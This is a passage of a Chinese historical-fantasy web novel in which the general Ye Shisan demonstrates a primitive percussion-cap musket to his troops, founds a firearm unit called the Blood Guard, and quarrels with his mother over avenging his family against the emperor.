叶十三低头啃了一会马肉,突然说道:“派两名探马,即刻动身,赶在天亮前到达签房大院,把消息送达周钊将军和穆顺将军。”
说完,思忖片刻,又补充道:“至于我的行踪,暂且不要告诉他们,传我命令让他们死守岘口就可。”
“明白。”
吴六子站了起来,向火堆旁烤肉的两名探马吩咐一番,探马立即飞奔而去。
叶十三扫视了一圈周围,沉声道:“即刻歇息,明一早还有更重要的事做。”
马成点点头,即刻就安顿卫兵们,各自在崖下的背风处裹着羊毛毡睡了。
“跟我走,外边值哨!”
吴六子招招手,从四名巡逻的兵卒中带了两人,迅速消失在夜色中。
何秀儿打开铺盖卷儿,低着头向叶十三说道:“将军,您睡吧,小的就在旁边守着好了。”
“有何可守?”
叶十三摆摆手,又道:“狼又叼不走我,你也睡,挤挤也就天亮了。”
此言一出,黑暗中的何秀儿,脸一下子又发烫起来。
第195章 这曹三锤又是谁?
何秀儿就像一只猫,蜷缩在叶十三身边。
半夜无语,一直到峡谷上空出现晨曦。
“大人,您训话?”
吴六子早早集合了五百兵卒,在崖前的空地上列队整齐。
“训话就未必,但简单讲几句还是有必要的。”
一瞥不远处的五百兵卒,叶十三目光灼灼,顿时信心倍增。
“马成何在?”
简单洗漱一下的叶十三,背着手站在孔穴前面。
“小的在。”
马成就在旁边,一哈腰就窜到眼前。
叶十三目光看向马成,道:“把带来的东西,全部拿出来摆开。”
“遵命!”
霎时,马成和十名卫兵,把战马驮来的东西,全部在地上打开了口袋放着。
叶十三拿起一支铸造好了的管子,又拿起一把木制的枪托,举在两只手里,从五百兵卒的面前缓缓走过。
“都看清楚了,本将手中的这玩意,就是你们以后的兵器。”
兵器?
要不是碍于叶十三的威严,五百兵卒差点就笑出声来。
钢刀、长矛、弓箭、钩镰,还有皮革或者藤条编的盾牌,在北防军中,才算是兵器署入册的兵器。
就这?
黑不溜秋,半截烧火棍一样,还有那个拐杖不像拐杖的木头玩意儿,算何等兵器?
“本将知道,你们心里对此很有异议!”
走到了头的叶十三,又折了回来,举着手中的东西,继续又道:“你们能有疑虑,这不奇怪,等你们知道了它的威力,相信你们每个人都会喜欢上它的。”
折返回来的叶十三,向后退了几步,到堆放东西的地方,这又说道:“待会,本将教你们这种新兵器的装配方法,你们每个人,务必要熟悉它的结构。”
说着,叶十三把手中的那支铁管,还有木制的枪托放在地上,向兵卒们招招手,道:“都往前站,仔细看本将演示一遍。”
不光是五百兵卒,就是马成他们和何秀儿,也不免兴奋起来,目光齐齐看向叶十三的双手,大气都不敢出地紧紧盯着。
“都看好了!”
叶十三又拿起那根黑黝黝的管子,道:“这个,就是枪管,是要安装在这个枪托上的……然后……”
讲解着的过程中,叶十三开始安装演示。
待所有的零碎,都被安装在枪托上后,一支谁都没见过的陌生“兵器”,就出现在大伙面前。
枪托,枪管,扳机,击发火帽,三道固定铆栓。
叶十三在众目睽睽之下,把这些零碎一一装配起来。
拆解,再装,再拆解……
“都看清了?”
“看清了。”
现场应声雷动。
“好!”
叶十三冷声又吼道:“各自安装,务必精确到位。”
哗啦啦……
一阵手忙脚乱的行动下,不大时候,每个兵卒的手里,都攥着一把火器长枪。
但每个人的脸上,兴奋之后又是一片茫然。
这玩意儿,真算是兵器?
有的兵卒们,甚至闭起一只眼睛,朝着枪口往里看。
有的兵卒把枪口对嘴巴,使劲往里吹气。
“混账!”
叶十三暴吼一声,把自己手中长枪的枪口朝天,厉声道:“都给老子记清楚了,枪口除了对着天空,永远不能平对或者低对,以防误伤自己或者是自己人。”
草!
这些鸟人,还真不知道火器的厉害。
行了!
该让他们知道火器的厉害的时候了。
叶十三心里想着,目光看向一名卫兵。
“去,传林老幺过来!”
“遵命!”
卫兵应声,撒腿就像林老幺住着的空穴跑去。
片刻间,林老幺和前期带着的四个兵卒,每人扛着一只藤条箱子过来。
叶十三瞥了林老幺一眼,示意把箱子放下。
“你们前几天,不是弄了几匹伤马?”
“回大人话,是的。”
吴六子挠着脑袋,咧嘴一笑。
“好!”
叶十三点点头,沉声道:“把马皮里面刮干净,然后扎成一人高的空筒,给里面塞满积雪,搞成人型就成了。”
“遵命!”
吴六子不敢细问,立刻按着叶十三的要求,带了二三十个兵卒开始制作马皮筒。
然后,叶十三端起手中的长枪,举起来做瞄准状。
“都看好了,这个的使用,和强弩相似,只是枪托要紧顶在肩窝……”
按照长枪的使用方法,叶十三让这些被挑选出来的兵卒们,先拿空枪熟悉瞄准要领。
“三点一线,这个老子不用多说,会使用弓箭的,就会瞄准了。”
说完,叶十三示意马成,让这些兵卒们按一百人一队,共分成五队。
待分队完毕,叶十三让每队各自练习端枪的姿势,他自己转身走向林老幺放东西的地方。
“都按要求做好了?”
叶十三目光冷冷,盯得林老幺心头一阵发毛。
“禀将军,都弄好了,您先过目!”
林老幺应着叶十三的问话,赶忙把地上的藤条箱子,一个个全部打开。
“这个,要严禁烟火,不敢有半点火星飞溅。”
林老幺一脸紧张,目光一瞥一旁五步外烧茶的火堆。
“嗯!”
叶十三点点头,这些,他是最清楚危险性了。
四个卫兵把四只藤条箱子,又挪动到叶十三昨夜打地铺睡觉的地方。
叶十三从自己带来的一只牛皮袋里,倒出一堆黄豆粒大小的铁珠。
铁珠颗颗滚圆光滑,大小匀称。
林老幺蹲了下来,抓起一把铁珠在手心搓看着。
“好手艺,铁水在硬地上滚泼成珠,把冷凝法掌握得如此娴熟的人可不多啊!”
听着林老幺的赞叹,叶十三心头一凛。
不就一把铁砂吗?
最初级的铸造工艺,这要放在前世的现代,狗屁都算不上。
还好手艺?
“难道,这铁砂很好了?”
叶十三突然一问。
林老幺脸上一紧,拱手急道:“将军有所不知,这等铁砂极其难泼。”
“有那么难吗?”
叶十三又是一问。
林老幺面颊一抽,又道:“其一,首先铁水的温度,极其难溶到一泼成型的程度。”
“其二,就是铁水融化的火候掌握好了,但这泼出去的速度,力度,坡度,都不是一件容易事。”
“说下去!”
叶十三顿时就来了兴趣。
林老幺面上一松,拱手又道:“锻造的物件,只要把铁烧透就可,这溶铁水,火候就难掌握了,要比铸造还要难上一分。”
“哦!”
叶十三似有所悟,道:“看来啊,这行行出状元。”
林老幺面上一喜,直了直身子,缓缓又道:“铁水溶好,就这一泼,速度慢了,铁水着地成碎铁片。快了,铁砂是成型了,但质地不均匀居多,只有速度,力度,坡度掌握得炉火纯青之人,才能泼出如此上乘的铁砂来。”
说完,林老幺怔怔地望着叶十三,突然问道:“敢问将军,这铁砂,是出自何人之手?”
见叶十三不语,林老幺摇摇头,淡淡又道:“居小的所知,放眼边城,恐怕只有曹三锤有这手艺了。”
曹三锤?
这他娘的,曹三锤又是谁?
第196章 火枪横空出世
“曹三锤?”
叶十三缓缓抬头。
“是的将军。”
林老幺点点头,怅然又道:“世上巧匠颇多,但这边城并不常见,多年前,小的偶然间在黄羊岘发现一人,此人就是曹三锤。”
叶十三摆摆手,笑道:“不就一把铁砂么,我屯田村有的是铁匠,这些玩意,均由他带人打造而成。”
斜瞥林老幺一眼,叶十三得意道:“没你说的那么玄乎,好匠人,本将手下多的是。”
“大人……”
马成上前,面带尴尬地一笑。
“有屁就放!”
叶十三见马成吞吞吐吐,欲言又止的样子,眼睛一瞪就骂:“一个大老爷们,说话痛快点。”
马成面颊一抽,讪笑道:“前院铁匠铺的曹瘸子,绰号好像就叫曹三锤来着。”
“啊……”
这下,该轮到叶十三尴尬了。
“就他?”
叶十三眼睛又是一瞪。
“是的将军!”
马成面上一阵得意,又道:“听说,这曹瘸子,原本不是土生土长的边城人氏,好像,好像……”
说着话的马成,突然又磕巴起来。
“有屁快放!”
叶十三狠剜马成一眼,吓得马成浑身一抖。
稳稳神后,马成硬起头皮,道:“好像这个曹瘸子,和大人您一样,也是遭贬发配到这边城的充军之人,据说他之前,曾经是朝廷铸造办的在册工匠……”
草!
这他娘的,老子中奖了?
一个满脸沧桑的老铁匠,居然也是被充军之人,而且还来自朝廷的铸造办?
铸造办那是什么地方?
那可是荟萃了民间能工巧匠的官办制造司所属的铸造办。
“还有这事?”
叶十三一怔,随即就笑了。
目光一瞥林老幺,道:“铁砂是好铁砂,眼下就试试你的火药了。”
“将军……”
林老幺面上一紧,目光盯着叶十三手中的长枪,狐疑道:“将军是要让火药把铁砂,从此物中催射出去?”
到底是做烟花的,对于烟火的各种作用,那是一通百通。
“正是!”
叶十三点点头,把长枪立在地上,又道:“依你之见,这每次半把铁砂,需要多少火药量,才能催射出最远的射程?”
这话没错!
叶十三是懂火器,但并不掌握这种初级火器的火药使用量。
这量要是少了,枪口就像放烟火一样一闪即灭。
火药的量要是超了,枪管承受不住瞬间的燃烧压力,会导致枪膛后部爆炸的。
前世的现代,早已经淘汰了这种落后的火器。
在一个高精尖的热兵器时代,火药枪已经进入了军事博物馆。
叶十三只是知道火药枪是热兵器的先祖,但并没有使劲使用过,只是凭着专业知识能绘出火药枪的原理构造图而已。
至于火药量和火药爆炸当量的计算,他是无法办到的,只有依赖这种民间手艺人的经验了。
“本将就是这个意思!”
叶十三掂了掂手中的长枪,望着另一只手心的半把铁砂,肯定道:“一次填多少药?这可是个关键。”
林老幺到底是行家里手,接过长枪后,先是目测了枪管的长度,又瞅了瞅枪管的口径,眯着眼睛沉声片刻,突然道:“只有多试几次了,就怕一次多了,会毁了此物,更怕造成伤人的事来。”
“那好,就依你!”
说着,叶十三从怀里摸出一只细细的牛角。
牛角很细,看得出来是从一根长牛角的尖端,再截取下来的一节。
叶十三用牛角往枪管里面添灌火药,在灌装到第三下的时候,被林老幺发声叫停。
“将军,不敢再多了。”
其实,牛角的空心部位,每次只能灌进一撮火药。
就是连着三下,也没多少的量。
可林老幺有着天生的职业谨慎,宁可多实验几次,也不想为了图个快而冒险。
“那就先这么些吧!”
叶十三说着,拿过一根三尺来长的细铁条,从枪口伸入里面,不停地捣着。
林老幺大气都不敢出,眼睛紧紧盯着叶十三的动作。
“停!”
捣药的动作,又被林老幺突然叫停。
“将军,可不敢再捣了,就怕太过瓷实,炸开这铁管的可能都有。”
这一点,叶十三清楚。
火药要是捣得太瓷实,被点燃后,热量及时散发不出的话,枪就会在手里炸膛。
但要是枪管底部的火药太过松散,那么燃烧起来就没有足够的力量。
“引子呢?”
叶十三停止了捣药,往枪口塞了指头蛋大的一个棉纸团,然后灌了半把铁砂进去。
望着叶十三伸过来的手,林老幺从一只最小的藤条箱子里面,拿出一个不足小拇指头的指甲盖大,微微凸起的小纸泡,道:“将军,此物最怕明火和大力挤压,保存更要慎重。”
叶十三知道,这个引火帽,那可是配方不同的黄火药,存放不当,极易发生爆炸。
引火帽被安装在枪管后面的一只引火嘴上,然后被扣上了鸡头。
整个鸡头,就像一只简化了线条勾勒的公鸡脑袋。
这是叶十三凭着记忆,苦思冥想了好几个半夜,这才绘制出这么个玩意儿来。
在眼下的古代,要造出一支带子弹长枪来,依照目前的金属稀缺性和冶炼技术,那是根本不用想的。
能造出这种靠引火帽被击发后,再点燃枪膛中火药的构造装置,已经是让叶十三绞尽脑汁了。
“闪开,都闪开!”
填好了黑火药,又灌装了铁砂,然后扣上了黄火药的引火帽后,叶十三平端着长枪,大步就走向外面。
这一声喊,外面的兵卒们,纷纷闪向两边。
此时,马成已经拿来了一只刚缝制好了的马皮袋子,袋子里面已经被灌满了雪。
“把马皮人偶,给老子放远一点,立稳了。”
叶十三大吼着,眯起一只眼睛,紧盯着枪口方向。
马成扛着一人高的马皮人偶,飞快地在一百步远的地方,把人偶稳稳地给立了。
说是人偶,其实就是个空心马皮袋而已。
远远望去,就像立了一根粗大的木桩。
瞄是瞄准了,可手指抠向扳机的时候,叶十三自己,也不由得把眼睛一闭。
那一瞬间的紧张,让他的心狂跳个不停。
第197章 血卫军
“砰!”
一声巨响,震得周围的人们耳膜嗡嗡作响。
心里没多大把握的叶十三,此时一只肩膀,被枪托撞击得酸麻无比。
他娘的!
后坐力真要命,还好,没有直接炸膛。
心中暗暗长出了一口气,叶十三呲着牙,甩了甩被震得酸麻的胳膊。
“报靶!”
顾不得许多的叶十三,大声就吼了一句。
报靶?
没搞错吧!一支箭都没插在马皮人偶上。
马成一头雾水,回过头来怔怔地望向叶十三。
“蠢货!”
叶十三大骂一声,提着长枪就奔向一百步处的马皮人偶。
“一,二,三……六,七。”
马皮人偶的上半部,贯通着筷子头粗细的七个小洞。
说明,至少有七颗铁砂,从马皮人偶的正面射入,然后从背面穿透。
“好啊……好……”
叶十三望着马皮人偶上,筷子头粗细的洞孔中,被炽热的铁砂穿透之时,融化了的雪水渗了出来,忍不住蹦跳得老高叫好不断。
这时候,卫兵和林老幺都围了过来,惊奇地望着马皮人偶上的洞孔。
“将军……”
这下,林老幺可是完全懂了。
叶十三要的是靠火药击发的杀器,而不是大威力的烟火。
这火药,还能杀人?
被惊得张大了嘴的林老幺,他万没想到,自己祖上三代,都以制造烟火为生,就是发生过伤亡事故,也没想到这玩意儿,还能做成杀人的兵器。
一想到这,林老幺直接被吓昏过去。
上次,由于运输的烟火发生燃爆事故,因为死了人,他才被下了大狱。
这下,他制造的,那可是专门用来杀人的兵器啊!
“瞧你那些出息!”
叶十三轻蔑地一瞥昏倒在地的林老幺,向马成说道:“抬回去,让好好缓缓。”
林老幺被抬了回去,歇缓片刻便醒了。
“将军……”
眼里满是惊恐的林老幺,目光不安地望向叶十三,惊道:“小的这,可是依照将军的命令……”
“行了!”
叶十三摆摆手,知道林老幺惧怕什么?
“不过,制造火药的配方,你要是敢泄露出去,老子灭你九族。”
叶十三眼里寒芒闪过,他不知道林老幺有没有九族?但他不想让这个火药制造技术泄露出去。
在南方一些地方,会做烟火的匠人不少,但把火药实验到这种威力的配方,叶十三真不敢让第二个人得知。
“将军,配方就在小的身上,比例都是反复计算过的,小的把它交给大人保管。”
说着,手抖得厉害的林老幺,从怀里摸出一张纸,颤巍巍地递向叶十三。
叶十三接过林老幺递来的火药配方,看都没看一眼就揣进怀里,道:“药,还是由你来造,要人,给你几个打下手的。”
“将军,还要造?”
林老幺望向叶十三,眼中尽是不安。
叶十三点点头,道:“这些哪够?这地方,日后就归你造药用了,反正采集硫磺如此方便,其他东西从外面运来就可。”
“小的遵命!”
别无选择的林老幺,只好答应叶十三的要求。
他出狱后,第一件事,就是向叶十三保证过,要万死不辞听令叶十三的。
叶十三知道林老幺的心思,冷声又道:“什么后世做牛做马?那都是屁话,老子就要你把眼下的事情做好了。”
说完,叶十三又道:“本月起,你入田兵籍,主事火药制造,月饷五两银子,糙米五十斤。”
“啊……”
这下,该林老幺吃惊了。
普通兵卒,军饷这一块,在内地也就是二两银子。
只是边城物价高,加上苦寒,这才有五两银子的军饷,但是粮食都是三十斤。
而且,田兵们的军饷,还不足二两银子,远比不上作战兵马。
这一下,他比普通兵卒多出来二十斤糙米。
“谢将军,将军之恩,如同再造父母……”
他又一次没想的,攥着他小命的叶十三,还让他这个囚犯入了籍,而且拿一份比田兵还要高的粮饷。
“行了!”
叶十三傲然一摆手,转身又开始往枪管里填药……
“砰……”
直到午时开饭,已经反复实验过药量的叶十三,已经摸索出最大射程,和铁砂穿透力的所需火药量。
并且,填药时捣药的力度,也掌握了个最合理的力道。
正好,马皮人偶也全部缝制完毕。
总共五只人偶,被叶十三拿着笔,在人偶上画出了一个正面的人形轮廓。
考虑到敌人都是战甲,所以把射击的目标位置,定在面部为主。
面部一旦被射中,铁砂进入大脑,那就是非死即伤的重创效果。
其次,才是胸腹位置。
如果是铁甲,胸部的防护是最坚固的。
只有面部的裸露,才是致命的射击目标。
这下,马成也懂了。
“大人,此物威力十足,杀伤力真不可估量啊!”
马成从无比的惊震下,这才意识到,叶十三发明的这个兵器,简直就是任何弓箭和强弩都无法比及的。
“都听好了!”
叶十三站在一块巨石上面,目光一扫全场兵卒,提高了声调道:“你们,是本将创建的第一支火器队,就叫‘血卫军’吧!”
血卫军?
光听名字,这就是充满着杀气的一支兵种。
“血卫军,血卫军……”
五百兵卒,高举着自己手中的长枪,霎时就山呼一片。
叶十三从兵卒们兴奋的脸上,这才看到了一丝希望。
这些人,就是他真正的底气和王牌。
有了他们,控制整个北防军,那就是更不是问题了。
只要血卫军在战场上杀敌无数,剩下的北防军自然就听他这个奴籍将军的指挥。
气场,永远都是在强者的身边围绕。
叶十三的名字,就是敌人做不尽的噩梦。
草草用过午饭,叶十三亲自教五百兵卒填火药和铁砂,然后亲自示范射击要领。
对于这些年轻的步弓手来说,只是把弓箭和强弩,换成了更加有杀伤力的火药长枪。
在如此惊人的杀伤效果下,兵卒们兴奋得巴不得即刻就冲锋陷阵去战场杀敌。
望着已经被射击得千疮百孔的马匹人偶,叶十三的热血,不由得也狂涌了起来。
“马成听令!”
“小的在。”
查验着马皮人偶的马成,一溜烟跑到叶十三面前。
叶十三背着双手,目光冷冷看向马成,道:“本将军擢升你为宣节副尉,暂且统领这五百血卫军。”
“谢将军!”
反应极快的马成,立刻单膝跪地,双拳一抱,铿锵说道:“马成唯将军命令是从。”
“这什么话?”
叶十三眉头微蹙,冷声道:“血卫军只是边城北防军的一个分支,都属戍边军队,当以车骑大将军岳佟将令为上。”
“末将遵命!”
马成又是一礼,但他心中知道是怎么回事。
他的一切,都是这个奴籍给的,与什么北防军和岳佟的没屁关系。
他们这些最底层的烽燧兵,在北防军眼里,就是一撮微不足道的炮灰而已。
只有叶十三才把他们当人看,才改变了他马成的命运和格局。
“起来吧!”
叶十三摆摆手,待马成站立后又道:“林老幺那边,有任何需求,及时向本将禀报。”
“还有,硫磺谷即刻全面封锁,通向元蒙方向的那头,更要重岗值守。”
“此处最为开阔,就作为血卫军训练的秘密基地。”
交代完一切,叶十三只带了四名卫兵,又带上吴六子和何秀儿,趁着天黑连夜出了硫磺谷。
第198章 儿啊,你住口,娘求你了
“将军,我们这是要去哪里?”
发现出谷后,走在最前面的叶十三,并没有带着他们走屯田村的方向。
“回何家大院!”
叶十点头也没回,策马就横穿野驴滩,直奔芦河湾村的何家大院。
何家大院?
这可不是一线防区所在啊!
吴六子不敢多嘴再问,只好催马紧跟着。
马成一下子被擢升为宣节副尉,让吴六子顿时就信心满满。
他和马成,可以说是叶十三最信得过的亲随。
叶十三的一路攀升,给他们这些亲随,也铺就了一条飞黄腾达的路。
但军人的擢升,都是靠拼杀得来的战功支撑。
跟着叶十三,只有拼死杀敌这一条路可走。
身为边兵,横竖都是一死,如此彪炳千秋的死去,总比当一个驻村兵卒被鞑子牧民杀死要强百倍……
月光下雪地上的一阵赶路,还不到子夜,就已经到了芦河湾村。
“将军,小的先去叫门!”
进入村口,吴六子就急着先去何家大院叫门。
“嗯!”
叶十三点点头,放慢了马速跟着。
自血卫军成立后,吴六子和马成二人,立即改变了对叶十三的称呼。
“大人”二字,觉得太过笼统,显示不出叶十三的神威。
怀远将军!
当然得把这个称呼给喊起来。
作为叶十三的亲随,简称叶十三为“将军”,这样也不失亲近。
“当当当……”
门环被扣响了三下。
“来者何人?”
院门里面,顿时就有执勤的田兵发问。
“是怀远将军到了,还不快快开门!”
吴六子特意把“怀远将军”四字压得很重,让叶十三有一种“衣锦还乡”的荣耀感。
毕竟,这里住着的,那可是叶十三的家人。
怀远将军?
门内一阵沉默。
“是叶大人到了,快快开门!”
吴六子又是一句,知道方才称呼,让里面的田兵一时摸不着头脑。
黄羊岘眼下已经进入了甲级战备,就是相对靠后方的芦河湾村,但也不能轻心大意。
“是大人回来了?”
门内的发问声还没落地,“吱呀”一声门就被从里面被打开。
“大人,真的是大人?”
两名田兵往外一瞅,随即就奔了出来。
叶十三已经下了马,把马缰交给身后的卫兵,快步走向院门。
“快去准备些饭食,本将还要赶路。”
叶十三进了院门,吩咐值夜的田兵去烧饭。
就在这时候,听到动静的叶腊八,披着棉衣也从一间屋子里出来。
“是闰儿弟弟?”
叶腊八一脸惊喜,上下打量叶十三一番,就去叫叶刘氏的门。
片刻后,正屋客堂的灯被点上。
蔡一满脸惊奇,快步上前给叶十三行礼。
“奴婢见过大人!”
“起来吧!”
叶十三一瞥蔡一,沉声又道:“我娘和彩儿还好吧?”
“老夫人和小姐都好,只是成天念叨大人……”
叶十三一摆手,打断了蔡一满是喜悦地往下陈述。
当目光看向叶十三身后的时候,蔡一被惊得张大了嘴。
“你,你是秀儿?”
蔡一已经看到了进入蜡烛光晕下的何秀儿,从一身革甲的包裹下,她还是看到了何秀儿露在头盔下的那张脸。
“蔡一姐姐,是我!”
何秀儿点点头,神情漠然,丝毫没有之前的那种亲近感。
两个曾经为了活命,而打算委身于一个男人换口饭吃的女人,此时的重逢,除了吃惊以外,似乎没有半点的亲热。
“你如何跟着大人……”
蔡一好奇地一问,就被何秀儿冷漠的眼神打断。
“你话太多了。”
何秀儿语气冷冷,回了蔡一一句。
重逢一阵尴尬,两人相对无语。
就在这时候,住在偏院的叶举,也匆匆赶到了前院。
“闰儿,你咋大半夜来了?”
望着叶举吃惊的眼神,叶十三笑道:“路过,顺便来看看你们。”
叶十三被让到椅子上堂坐了。
叶刘氏一脸激动,牵着彩儿的手,已经穿戴整齐赶到客堂。
正屋客堂,蜡烛一片通明。
“是我的闰儿回来了!”
“哥哥,这么晚了,你是想娘和彩儿了吗?”
叶十三赶忙站了起来,上前两步,一手扶住叶刘氏,一手扶着彩儿在椅子上坐下。
“防务部署,连夜赶路,正好路过这边,就顺道看看娘和妹妹。”
叶十三满脸堆笑,目光和蔼地望向母女俩。
“如今战事即发,我儿还是要以军务为上,娘这边很好,你就不要多牵挂了,守好国土,保得一方百姓安宁,就是我儿的职责所在。”
叶刘氏到底是太子太师叶铎的夫人,口口声声以家国天下为重,丝毫忘了自己已经是一个奴籍身份的底层人。
“哥哥,听院子里的人说,哥哥已经统领大军,成了这边防线上的将军了?”
彩儿更是兴奋不已,紧紧抓着叶十三的一只手,把头靠在叶十三的肩膀上。
借着通明的光亮,叶十三这才看到,不但叶刘氏和彩儿一身绸缎,就连叶举和叶腊八二人,那也是穿的就像个大员外老财主一样。
“多亏了郡主,她为娘和彩儿操心不少。”
叶刘氏面色自然,张口就提了一句。
郡主?
叶十三一听这两个字,眉头不由得就皱了起来。
叶刘氏留意到了叶十三表情的变化,低声又道:“让着她点,人家既是郡主,又是监军身份,我儿可不敢使性子给人家吊脸子看。”
“娘!”
叶十三摇摇头,摆手挥退了叶举和叶腊八,然后目光示意蔡一和何秀儿也退下。
看到几人都退了出去,叶十三这才说道:“娘,我叶家如此变故,真与肃王郑岳嵩有关?”
“闰儿……”
一提叶家变故,叶刘氏骤然色变,惊道:“你当真什么都不记得了?”
“娘!”
叶十三缓缓抬头,目光看向身边叶刘氏,道:“孩儿自患了头疼病,有些事,记得不是很清楚了。”
“忘了更好!”
叶刘氏松了一口气,神情也自然了下来,一脸忧郁地说道:“叶家,可不敢再发生任何的事了,你活着,就是娘最大的希望。”
见叶十三又沉默不语,叶刘氏眼里满是担忧,低声又道:“眼下算来,你足有十年没见过郑家小姐了,人家已经是郡主身份了,要是不计前嫌……”
“娘……”
一提香香郡主,叶十三“噌”一下就站了起来,把身边的彩儿吓得浑身一哆嗦。
“哥哥,是彩儿不好,惹哥哥生气了。”
彩儿两手乱抓,想要把叶十三拉回身边。
“儿啊……”
叶刘氏以袖遮面,突然抽泣道:“幸好圣上开恩,没将我叶家斩尽杀绝,眼下要是肃王不计前嫌,我儿说不定还能……”
“娘!”
叶十三这下真不淡定了。
虽然一屁股又坐了下来,但语气已经变得冰冷起来。
“父亲大人一心教导太子殿下勤学苦读,教太子殿下文治天下的策略,教太子殿下心怀仁慈的贤德,没想到圣上一病,太子殿下不但没有被授监国之权,反而被扣上弑君篡位的莫大罪名,导致父亲大人以教唆太子谋反被定罪……”
“儿啊,你住口,娘求你了……”
叶刘氏疯了一样,扑了过来伸手就捂住了叶十三的嘴。
第199章 我若是臣,谁敢为君?
叶刘氏的惊恐,让叶十三心头又是一阵难过。
脑海中的叶府,哭声动地。
那些如狼似虎的御林军,只要有人稍加反抗,立刻手起刀落。
那些醒目又刺眼的血,让叶十三又是一阵抓狂。
“不!”
叶十三一摆脑袋,挣脱了叶刘氏捂着他的嘴的双手,怒吼道:“只要孩儿一日不死,他日定会为我叶家讨个公道。”
“孽子……”
惊恐万分的叶刘氏,闻言之后怒骂一句就昏厥过去。
“娘!”
叶十三痛苦地跪了下来,抱住叶刘氏使劲地晃着。
“哥哥,娘怎么了?”
觉察到气氛不对的彩儿,摸索了过来,急道:“哥哥,是不是你把娘气倒了?”
“嫂子……”
“伯娘,您没事吧?”
听到动静的叶举和叶腊八二人,也焦急地在外面连声发问。
这二人焦急归焦急,但不敢贸然闯入,蔡一也是如此,三人一脸焦急地在门外廊檐下转圈。
何秀儿就不一样了,踌躇片刻,一扭身就迈进了正屋客堂。
“将军,老夫人……”
进入客堂后的何秀儿,直接奔了过去,在叶刘氏身边跪了下来。
“将军莫急,老夫人是急火攻心,一时昏厥而已。”
何秀儿伸出双手,把叶刘氏的上身,从叶十三怀里揽了过去,让叶刘氏的上身斜靠在她怀里。
“我娘没事吧?”
心里一虚的叶十三,接着就是一句发问。
何秀儿没有说话,一只手在叶刘氏的胸口转着圈揉着,另一只手放在叶刘氏的后背,一下一下轻轻拍打。
“咔咔……”
不一刻,叶刘氏轻咳两声,这才悠悠地顺过一口气来。
“老夫人,您醒了?”
何秀儿的一只手,继续在叶刘氏的后背拍打片刻,然后把头扭向叶十三,轻声说道:“帮小的把老夫人扶炕上吧!”
说着,何秀儿的一只手从叶刘氏的腋下穿过,趁着一旁的叶十三从另一侧搭把手,这才把叶刘氏半抱起来,走进隔间的卧室后,轻轻地把叶刘氏放平后让她躺着。
“你走吧!”
紧闭着眼睛的叶刘氏,声音冷得让人不寒而栗。
“娘!”
“不要叫我娘,你翅膀硬了,不听娘的话了。”
叶刘氏依旧闭着眼睛,把脸使劲地转向炕的内侧。
“都是孩儿不好,惹娘生气了。”
叶十三强按下心头对郑家的怒火,附下身子,轻声又道:“有些事,并非如娘想的那般简单,跪着求人,只会挨打。”
见叶刘氏已经无碍,叶十三缓缓直起身子,淡淡说道:“皇子之间的夺嫡,那些人背后使尽了手段,他们害得我叶氏家破人亡还不算,这又想染指边关兵权,不惜代价又挑拨离间拉拢孩儿,这个当,孩儿不上;这口气,孩儿也咽不下!”
“咽不下也得咽!”
突然,叶刘氏一骨碌从炕上坐了起来,怒目看向叶十三,咬牙道:“皇子们之间的夺嫡也好,权臣们之间的党争也罢,可我叶家,绝不能做大逆不道的反叛之臣!”
“哈哈哈……”
叶十三被叶刘氏的一番话,直接给气得大笑起来。
两只眼角溢出了泪花的叶十三,摇摇头道:“反叛之臣?”
“我叶家,今天还有资格称臣?”
“我叶家,一个奴籍,一只随时都会被别人踩死的蝼蚁,也敢称臣?”
“我叶家百口,而今只剩四人在这苦寒之地苟且偷生,敢问天下,我若是臣,谁敢为君?”
叶十三滔滔不绝,一口气把胸中的郁闷,一股脑儿全给倾泻出来。
“逆子,你,你这是对圣上的大不敬啊!”
叶刘氏又被叶十三的态度,气得浑身发抖。
“圣上?”
“他也配?”
“听信谗言,逼死自己的亲儿子,又逼死他曾经钦点下的太子太师,如此混账之徒,也配在我叶家头顶为君?”
疯了,这人绝对是疯了。
就连没见过什么世面的何秀儿,霎时也被叶十三的这番言论给惊呆了。
“不报此仇,叶十三誓不为人!”
双眼赤红的叶十三,雷霆般怒吼一声,一转身大踏步就走向外面。
出了客堂,叶十三一瞥廊檐下候着的三人,冷冷说道:“拜托了,照顾好我娘和妹妹。”
说完,在叶举和叶腊八的目瞪口呆下,一挥手带着随从扬长而去。
呆愣片刻,叶腊八如梦惊醒。
“闰儿弟弟,饭都熟了……”
叶腊八面颊一抽,看到端着饭食盘子的田兵,急得就追了出去。
此时的院门外面,哪还有叶十三和几个随从的半点影子?
“大人走了?”
两名做好了饭菜的田兵,怔怔地望向院门口。
叶举一瞥田兵,摆摆手道:“辛苦二位了,大人军务紧急,不宜久留。”
就在这时候,四名卫兵去而复返,向看守何家大院粮仓田兵说道:“传怀远将军令,即刻组织马车,调运二十石粮食。”
怀远将军?
田兵们一时还没反应过来,为首一人又道:“怀远将军调运粮食,叶大人可曾知晓此事?”
一名卫兵面颊一抽,沉声道:“难道你等不知叶大人就是怀远将军?”
“啊……”
此言一出,田兵们被惊了个大张嘴。
他们的顶头上司叶千户,已经被擢升为怀远将军了?
“几位兄弟先用饭,粮食的事,就交给我等去装车。”
刚好,叶十三没顾上吃的饭菜,这四名卫兵刚好赶上。
就在四名卫兵大吃大喝的时候,叶十三带着何秀儿和吴六子二人,在月光下的雪地上策马疾驰。
“将军,我们这是去落雁坡?”
依照地形和方位,吴六子已经判断出来,这是去落雁坡防区的方向。
“嗯!”
一路无话的叶十三,终于开口说道:“务必赶晨操前,到达蔡云的防区,也好趁着晨操挑选一些兵卒出来。”
“将军,落雁坡驻村兵马本就不多,不如从驻扎屯田村的北防军中,抽调一些出来守护何家大院?”
“你知道个屁!”
叶十三怒声一句,吓得吴六子一吐舌头便不再多嘴。
闷头赶了一会路,叶十三才又说道:“何家大院无需调兵防守,就是给落雁坡再给上两倍的兵马,也挡不住鞑子兵的入侵。”
“哪?”
吴六子硬起头皮,又是一问。
这下,叶十三再没搭腔,目不转睛地盯着前面的路催马疾驰。
一个时辰后,隐去月光的荒滩,霎时就陷入一片漆黑。
冬日的夜,在黎明前是最黑暗的。
“将军,有火光?”
吴六子突然指着远处,看到有忽暗忽明的火光闪动。
“应该是哨卡!”
叶十三下了马,牵着战马踩着积雪继续行走。
第200章 战神叶十三
还真是哨卡。
马蹄声惊动了值哨的兵卒,映着火光可以看到,几名兵卒已经张弓搭箭,对准了叶十三一行。
“站住,什么人?”
一声暴吼,从圆木搭建的掩体后传出。
“黄羊岘防区屯田村的。”
吴六子赶在前面,在离掩体三十步处停了下来。
“站住,再往前走一步,老子就放箭了!”
掩体后的人警惕性极高,警告吴六子不要靠近。
